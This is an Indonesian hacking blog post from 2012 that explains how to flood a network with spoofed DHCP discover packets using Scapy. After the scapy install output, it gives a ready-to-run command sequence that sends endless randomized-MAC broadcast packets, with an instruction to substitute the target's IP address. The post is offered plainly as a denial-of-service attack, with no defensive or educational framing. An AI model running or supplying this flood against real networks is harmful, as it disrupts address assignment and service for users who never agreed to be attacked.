ddos ip dan dhcp with scapy

Posted: Februari 2, 2012 in Hacking

oleh Ade ‘surya’ Andrial crew http://ophrack3rz.acehlinux.org/

1. Install perlengkapan scapy:
— aptitude install python-scapy

root@harubirukill:/home/surya# aptitude install python-scapy
The following NEW packages will be installed:
python-scapy
0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 226 kB of archives. After unpacking 1,192 kB will be used.
Get:1 http://ftp.us.debian.org/debian/ squeeze/main python-scapy all 2.1.0-1 [226 kB]
Fetched 226 kB in 7s (30.5 kB/s)
Selecting previously deselected package python-scapy.
(Reading database … 154552 files and directories currently installed.)
Unpacking python-scapy (from …/python-scapy_2.1.0-1_all.deb) …
Processing triggers for man-db …
Setting up python-scapy (2.1.0-1) …
Processing triggers for python-support …

2. Menjalankan (running program) scapy:
— Buka lxterminal di debian
— ketik scapy [enter]
=====================================
root@harubirukill:~# scapy
Welcome to Scapy (2.2.0)
>>>
4. Langkah untuk menyerang target (ip):

>>> conf.checkIPaddr = False
>>> dhcp_discover = Ether(src=RandMAC(),dst=”ff:ff:ff:ff:ff:ff”)/IP(src=”192.168.1.2″,dst=”255.255.255.255″)/UDP(sport=80,dport=80)/BOOTP(chaddr=RandString(12,’0123456789abcdef’))/DHCP(options=[(“message-type”,”discover”),”end”])
>>> sendp(dhcp_discover, loop=1)

5. Untuk menghentikan serang tekan CTRL+C

note : –> src=”192.168.1.2″———> ganti dengan ip target

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s